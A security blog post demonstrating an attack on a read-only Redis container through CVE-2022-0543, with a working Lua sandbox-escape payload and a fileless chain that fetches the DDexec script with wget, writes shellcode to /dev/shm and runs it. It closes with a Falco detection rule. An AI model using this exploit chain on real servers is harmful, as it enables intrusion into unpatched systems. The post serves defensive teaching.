Containers provide a number of security features that are not simply available on a normal host. One of those is the ability to make the container’s root filesystem read-only. By making the file system unable to be altered, it prevents an attacker from writing their malware executable to disk. Most attacks rely on writing files in order to work, but sophisticated cases use fileless malware as part of their malicious behavior. It’s also important to prevent legitimate applications from being affected, so some care must be taken.
Many people see read-only filesystems as a catch-all to stop malicious activity and container drift in containerized environments. This blog will explore the mechanics and prevalence of malware fileless execution in attacking read-only containerized environments.
According to BridgeCrew’s Kubernetes documentation:
“Using an immutable root filesystem and a verified boot mechanism prevents attackers from ‘owning’ the machine through permanent local changes. An immutable root filesystem can also prevent malicious binaries from writing to the host system.”
We will demonstrate a way to attack a container with a read-only root filesystem, and we find it fitting to attack the in-memory data store with fileless malware that executes in-memory. Let’s begin!
Setting the scene
Our target environment is a vulnerable, minimal (
coreutils + redis) Redis Docker image (
vulhub/redis:5.0.7), making sure to pass the
--read-only flag to ensure that we remain fileless in our attack.
On Kubernetes, this can be set via
The Redis service in question is vulnerable to CVE-2022-0543, a Lua sandbox escape. According to the CVSS system, it scores 10.0 as CRITICAL severity.
Redis ships with the ability to evaluate Lua scripts on the server-side via the ‘eval’ command. CVE-2022-0543 allows an attacker to escape the sandbox that the Lua code normally executes inside of, which makes it trivial to execute shell commands directly on the host. The Lua sandbox escape is executed when the attacker loads the
liblua5.1.so.0 Shared Object file (that exists in the Redis host filesystem), giving access to the host.
The CVE-2022-0543 comes with a proof-of-concept (PoC) exploit that we will test via
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r"); -- this is our shell command to execute on the host
local res = f:read("*a"); f:close(); return res' 0
Testing our PoC below on the vulnerable container, it abuses the Lua sandbox escape to run the shell command id.
Attacking Redis without touching the disk
First, let’s verify that we are indeed forced to operate without creating ANY new files on the system. We’ll use touch to try to create a file, and then ls to verify that it does or does not exist.
local f = io.popen("touch", "/tmp/abc123"); -- this is our shell command to create the file on the host local f = io.popen("ls", "/tmp/"); -- this is our shell command to list the file on the host
We can see that our touch attempt was unsuccessful, There is no file /tmp/abc123, despite our best efforts.
Fileless Malware – GTFObins and LOLBins
In the world of anti-forensics, preventing your malicious code from ever touching disk can be an effective way of hiding it from a subsequent investigation. Disk forensics isn’t very helpful if a program is never written to the disk in the first place. It would still be vulnerable to memory forensics, of course. On both Windows and Linux, there exist fileless malware that store an executable in memory and execute it by doing a little extra effort.
In the Windows arena, LOLBins (Living off the Land Binaries) have been used for years in order to stealthily achieve an attacker’s goals (whether they be persistence, execution, remote access, etc.). These are Microsoft-signed files, either native to the OS or downloaded from Microsoft, that have extra “unexpected” functionality. They have legitimate uses, but can also be leveraged by an attacker.
For example, certutils.exe can be used by an attacker to download malware. Linux has similar installed tools, GTFObins, but for the purposes of this article, we will use an advanced example.
As early as 2004, fileless malware techniques were publicly released, targeting Linux systems (userland exec (grugq), Linux code injection without ptrace). More recently, Spanish researcher arget13 shared DDexec, their take on code injection, via the commonly available Linux LOLBin (installed by default as part of GNU coreutils)
dd. We’ll use ddexec to ensure payload execution without touching the disk (with a bonus side-effect of not revealing the process name).
Now what? How do we get our “malicious” code onto the target?
/dev/shm to the rescue!
Enter: shm! Sh-what? Shm (A typically brief Linux Kernel developer acronym for shared memory)! From cyberciti.biz:
“shm / shmfs is also known as tmpfs, which is a common name for a temporary file storage facility on many Unix-like operating systems. It is intended to appear as a mounted file system, but one which uses virtual memory instead of a persistent storage device.”
Okay, well how do we use it? It’s simple. GNU coreutils ships with mktemp, which is all we need to get started. We can use mktemp’s -p flag to tell it to make a temporary file in /dev/shm.
Let’s do so, and verify that our “file” is serving its purpose. We’ll change the shell command(s) inside our exploit from
TMPFILE=$(mktemp -p /dev/shm);
echo "derp" > $TMPFILE;
Thanks to tmpfs and shm, we are able to create “files” inside a container that has a read-only filesystem!
Let’s get this exploit rolling.
- First, we’ll create two temp files. One to store the script (ddsc.sh, part of the DDexec repository, which allows executing arbitrary shellcode in-memory), and one to store shellcode (we need a separate file for the shellcode because ddsc.sh expects to take input from a file).
- Then, we’ll download our script to the first tempfile from GitHub using wget, and use echo to write our shellcode to the second. For the proof-of-concept exploit, we will use shellcode that simply prints “Hello world\n” to standard out.
DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm); wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $DDEXEC; echo \"4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00\" > $SHELLCODE; bash $DDEXEC -x < $SHELLCODE
Success! We have:
- Deployed our Redis exploit
- Written our script and shellcode to two temporary files
- Used bash to execute our script, giving the shellcode as input
- Evaded multiple defenses and detections (MITRE T1211) – the process listing (ps) and the read-only filesystem
Detection in-memory attacks with Falco
Even with the –read-only protection flag, we demonstrate how attackers can find new ways of exploitation using fileless malware techniques. But obviously, all is not lost. There are key elements that can help detect this malicious behavior. Let’s see how to implement this detection with Falco.
Falco is the CNCF open-source project, used to detect unexpected application behavior and send alerts at runtime.
You can leverage its powerful and flexible rules language to match suspicious behaviors in order to generate event alerts. It comes with a predefined set of rules, but you can also customize them or create new ones that fit your needs as you want.
The following is an example Falco rule that will detect the above technique used to subvert a read-only root filesystem.
- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common location for threat actors to stash their readable + writable + (sometimes) executable files. condition: evt.type=execve and evt.dir=< and ((proc.exe startswith '/dev/shm' or (proc.cwd startswith /dev/shm and proc.exe startswith ./ )) or (proc.name in (ash,zsh,bash,sh,fish) and proc.args contains "/dev/shm")) output: "File execution detected from /dev/shm (proc.cmdline=%proc.cmdline image=%container.image.repository)" priority: WARNING tags: [mitre_execution]
With this new Falco rule loaded, we are now able to detect the execution of a file from /dev/shm and generate an alert.
We’ve demonstrated that containers running with their root filesystem set to read-only can be just as vulnerable as those without. A read-only file system will not provide adequate protection to mitigate all vulnerabilities exploited via fileless malware techniques.
Thanks to /dev/shm, we are able to make “files” backed by memory instead of disk space that we can use to download additional malware and further compromise the system. If you are running vulnerable containers as identified by one of the many vulnerability scanners now available, please patch them as soon as possible.